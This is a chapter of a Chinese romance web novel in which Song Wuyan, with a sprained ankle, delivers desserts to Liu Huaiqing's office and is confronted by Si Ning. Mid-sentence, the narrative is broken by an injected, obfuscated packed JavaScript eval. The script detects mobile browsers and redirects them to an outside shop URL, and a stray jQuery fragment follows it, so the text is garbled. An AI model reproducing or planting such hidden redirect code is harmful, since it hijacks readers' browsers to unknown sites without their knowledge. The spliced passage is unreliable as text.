宋斯齐换掉了那件衬衫。
宋雾颜见他再出来时,已经是另一套装扮了。
饭桌上,秦钟英偶尔夹一两筷子饭菜,更多时候都是什么也不做,双手叠在一起,沉默地打量着宋斯齐。
至于宋雾颜,秦钟英在她刚坐下来吃饭时,问了一两句她婚礼准备的怎么样,看得出心情很不好。
好在宋雾颜有被提醒,隐瞒自己脚扭伤的事,吃完饭就找借口溜走了,之后也是偷偷摸摸地喊佣人给她准备冰袋。
歇了一晚上。
第二天早起,宋雾颜再去检查自己的脚踝,还是能看出肿胀。
按照医生说的,她又冰敷了几次,在家里歇着。
今天的天气很好,阳光格外明媚,她习惯了早起,但早上无事可做,下午更是无聊。
除了院子里的花花草草,也没人陪她,连佣人都有自己的事情要忙。
婚礼策划公司之前给宋雾颜发过一份婚礼布置的设计图,她一直没怎么看,实在没事可做了,她才找到那份文件,从中挑选起来。
也没消磨多少时间,把自己比较看得顺眼的几张设计图发给负责人后,宋雾颜看了一眼时间,发现才过去不到一小时。
她丧气地摊开胳膊,额头抵在书桌上,发呆。
阳光从窗户透进来,照在她头顶上,痒痒的,感觉要长脑子了。
宋雾颜了无生趣地踢着桌子腿,发现脚不怎么疼了,仅仅犹豫半分钟,她就决定放弃在家里老实歇着,让司机带她去甜品店。
店里这会儿人正多,宋雾颜又有脚伤,帮不了什么忙,只能坐在店里当个氛围组。
“老板。”店长绕过一堆客人,手里拿着单子,快步走来,惆怅地扫了一眼宋雾颜受伤的脚,“之前那位柳先生打电话过来,订了些甜品,问能不能你去送。”
是柳淮青的订单,他在她们店买了些下午茶,指名道姓要让宋雾颜送。
店长知道她们老板脚受伤了,不太方便,担心地提议说:“你要是不方便,我就帮你拒绝了,我们这边还是有空余派送员的。”
手机里的纪录片才播一半,宋雾颜暂停关掉,看了一眼单子上的地址,才反应过来“柳先生”指的是柳淮青。
“没事,交给我就行。”宋雾颜想都没想就答应了下来。她站起来,把凳子收回原位,和店长说道:“我之前去过一次这个地方,再去很容易就能找到。要是其他人或者地方,我大概就不行了。”
店长明白宋雾颜的意思。
别人不可以,但这位柳先生不在拒绝范围内。
*
考虑到不是外人,宋雾颜也不用换工作服,打了辆车,掂着打包好的甜品,就这么去了。
第二次去柳淮青的公司,宋雾颜很快就找到了地方。
这次前台没有无视她,看到她立刻就和她打招呼,“宋小姐!您是来找老板的吧。”
宋雾颜听到前台和她打招呼,还诧异了一下,懵懵地点头,回道:“你好。”
想到自己可以把柳淮青订的下午茶交给前台,对自己的业务还不太熟练的宋雾颜走近,解释自己的来意,“这是你们老板买的下午茶,我是这家甜品店的派送员。”
另外还有一份单独的包装,是宋雾颜特意给柳淮青带的,巴斯克蛋糕搭配乌龙茶。
她还没来得及说清楚,柳淮青就从办公室里出来了,在看自己的手机,订单显示已送达。
他抬眼,发现来送甜点的派送员真的是宋雾颜,快步走上前,给予评价:“准时,好评。”
就是语气淡淡的,听不出来夸奖。
宋雾颜以为他这是上班上的,鼓了鼓胸口,把自己单独给他准备的蛋糕递给他,说道:“这个是你的。”
柳淮青眯起眼睛,只是扫了一眼手提袋里的甜品,没接。他侧身,回头看她,“不进来坐坐吗?”
感觉他下一秒就要和她恩断义绝,她好像没惹他吧?
宋雾颜纳闷,收回手提袋,见柳淮青往回走,也跟着进了他的办公室。
一进办公室,就看到摆在办公桌上的山茶花枝。
市面上很难找到卖山茶鲜切花的花店,山茶花生长缓慢,一年里仅春末、夏末发芽,多数情况下,新芽和花蕾同枝,如果剪取带花的枝条,很有可能未来一年里都无花可开。
这多半是有人投其所好,赠予柳淮青的,柳淮青也是真心喜欢,直接放在了离他最近的地方。
宋雾颜移开视线,看向办公室里的其他地方。
原来那些凑数的家具全换了,重新装修了一番,新的布局更加简洁宽敞。
办公区的桌椅很有柳淮青个人风格,摆放的装饰品也都是他喜欢的。招待区色调更明亮些,浅色的皮革沙发线条流畅,地毯铺在沙发下,图案细腻,艺术且富有光泽感。
宋雾颜把蛋糕盒放到玻璃茶几上,微微提起自己的大衣,方便坐下,松手时指腹划过沙发扶手,手感和她家客厅的沙发几乎一致。
倒贴钱上班吗?
那很不愿意亏待自己了。
柳淮青拆开甜品盒,看到是他没有点的蛋糕,手指微微蜷曲,抠着纸盒子的边缘,睫毛像小扇子一样动了动,“我以为派送员不会是你。”
“你不是让我送的吗?”如果不是他的要求,宋雾颜肯定不会来。
柳淮青尝了一口蛋糕,是他很喜欢的口感,有点像冰淇淋酸酸甜甜,抬头看向宋雾颜,她的眼睛清澈,“我只是想测试一下,你有没有在家里好好歇着。医生不是说,崴脚需要少走路,让你在家静养吗?”
钓鱼执法,没想到真有用。
蛋糕吃一半,柳淮青靠在沙发上,说:“我的钱那么好赚,就算你拒绝我,也不会丢失我这个顾客。”
宋雾颜双手叠在一起,搭在并拢的膝盖上,微肿的脚踝藏在裤脚里,不走路感觉不到疼痛,“我已经好很多了,没有你想象得那么严重。”
“不听,不听。”柳淮青扭头。
他端起蛋糕,往办公桌那走,另一只手还握着茶杯,坐回老板椅,离宋雾颜十万八千里远。
桌子上一堆文件夹,柳淮青拨开,放下蛋糕,抬头望向宋雾颜,看不清眼眸,“明天你还会来吗?”
宋雾颜松开手,敞开肩膀,换了个舒适的坐姿,“不来了。”
虽然是自己不让她来给他送蛋糕的,但听到她说不来了,还有点伤心,柳淮青眼巴巴地问:“那会给别人送蛋糕吗?”
宋雾颜说:“会给我哥送,我妈要的话,我也会送。”
和她的家人排在一起,柳淮青弯起嘴角,杯子的乌龙茶清香甘甜,刚好解腻,“去你家公司享受大小姐待遇吗?那真是很不错哦。”
也就他会这么拉风,宋雾颜站起来,打算走人。
这时,办公室外传来阵阵敲门声,梆梆响,像债主催债,来干架的。
宋雾颜看向柳淮青,以为他真欠人债了,还没问怎么回事,门就被踹开了。
“柳淮青!”少女的语调愤怒,但不影响声线甜美。
仅一个声音,宋雾颜就想到了是谁。
司宁莽撞地闯进来,浅棕色的头发在空气里闪闪发光,一身精致小香风,珍珠项链和耳环瞩目,优雅又可爱。
她走路带风,进来时,身上的香水味飘逸,莲花调充满夏日的感觉,很有元气。
宋雾颜每次见司宁,都忍不住感叹,真的有人和洋娃娃一样,精致漂亮得不像真人。
司宁没注意到窗户边的宋雾颜,红温着一张脸,眼睛圆润得像精心打磨的宝石。她攥紧拳头,大跨步走到办公桌前,举起手中的文件就朝柳淮青砸去。
“你故意整我啊!”
柳淮青眼疾手快,在砸到他之前,一把接住文件。
看到是之前他帮她拿下的项目,柳淮青不动声色地把文件扔到一边,无视掉这个东西,双手捧起他还没吃完的蛋糕,满脸热心地向司宁炫耀。
柳淮青:“不要弄坏我的蛋糕,这可是宋雾颜给我的。”
一块小蛋糕而已,司宁嫌弃地翻了个白眼。
她打包票这是他自己买
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767636|209780||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的,为了不被怀疑,可能还要装作不经意地给公司的每一个人都买一份。
司宁手臂交叉抱在胸前,无语得要死,“贱不贱啊?”
就宋雾颜那种人,根本就是块木头,还给他买蛋糕呢,人马上都结婚了,通知都没通知他一声。
司宁甩了一下头发,扭头看到宋雾颜的身影,怀疑自己跟柳淮青一样气疯了,都开始幻视了。
她居然真的看见宋雾颜本人了。
宋雾颜站在沙发边,表情呆呆地面朝他们,见她发现,还小幅度挥了挥手,表示她不是人机。
司宁嘴皮不禁抽了一下,突然反应过来,柳淮青没有意淫,蛋糕居然真的是宋雾颜亲自送的!
有点羡慕,可恶。
“居然是真的。”司宁低头,小声嘀咕了一句,很快就昂首挺胸,手指摊开又攥紧,指着宋雾颜,眼神凶巴巴的,“我知道你前几天和阿叙见面了!我都知道!”
之前他们医院偶遇,虽然她在出差,但周迟叙和她说了。
“我已经把你和陈越琛订婚的事告诉阿叙了!”司宁用力甩手,不耐烦地说:“你们之间再也不可能了!”
宋雾颜礼貌性地浅笑着,不知道该回她什么,她总觉得这话不是在和她讲。
司宁也不给她说话的机会,抬着下巴,继续阴阳怪气,“当然了,你那个未婚夫又蠢又丑,还老!根本比不上阿叙一根手指。啧啧,你居然看得上。不过这和我也没什么关系,毕竟你也不是秦钟英的亲……”
“哎呀!”话说一半,司宁大叫一声,捂住后脑勺,转身瞪向罪魁祸首。
柳淮青摇晃着手里攥成一团的纸团,另外桌子上还有一堆。
他抽屉里别的没有,就报废的A4纸最多。
司宁骂骂咧咧,恨不得跑去打人,“你有病吧。”
这玩意不疼,就是提醒。
有些话说了没事,但有些话,绝对不能说。
见司宁没意识到自己的问题,柳淮青又向她扔了一个纸团,吓得司宁往后退了几步,但还是砸到了她的衣角。
“你不是来给我送文件的吗?东西送到了,就该走了吧。”柳淮青把手边废弃的一二三四个纸团全投向司宁,一个也不浪费。
赶客赶得这么理直气壮,司宁在空中比划着拳头,也不敢真的和柳淮青干架。
司宁气得跺脚,叉腰说:“神经病!当我想在这里待着啊。”
她才不想在这里待呢,地方又小又挤,简直是老鼠窝。
宋雾颜看着司宁这般,抿着嘴角不敢笑。
“你不许笑!”司宁瞪了她一眼,从她身边绕过,气冲冲地来,又气冲冲地走。
“咣当”一声,还好心地帮忙把门关上了。
宋雾颜原本还想帮忙捡捡地上的纸团,但太多了,索性只弯腰捡起刚好滚到她脚下的一个,丢进旁边的垃圾桶,起身抬头看向柳淮青,发现他也在看她。
“如果没事的话,那我也走了。”宋雾颜说。
“嗯。”柳淮青坐在老板椅上,轻踩地板,向后靠了靠,桌子上的文件摞在一起,有点挡视野。
他忽然想到什么,在宋雾颜离开前,好似不经意地询问:“哦,对了!你周末有时间吗?”
放在门把手上的手停顿,宋雾颜松开,回头说:“我这周六要去拿婚戒,可能还要去一趟陈家。你有事的话,可以提前给我发消息。”
不怎么清闲,但是……柳淮青眼睛逐渐睁大,噗的一声,似乎想到了什么好玩的事情,忍不住笑起来,“不是什么大事,到时候我给你发消息,你及时回我就行。”
好像落入了他的圈套,宋雾颜板起一张脸,眼神带着警告,“你不要给我发骚扰信息。”
“真骚扰信息,根本发不出去好吧。”柳淮青摆了摆手,很正经地反驳她。
他顶多就是表情包攻击,怎么能算骚扰呢?
不是他想听的话,他根本不听。
宋雾颜懒得对牛弹琴,打开门,“我走了。”
柳淮青点头,“再见~”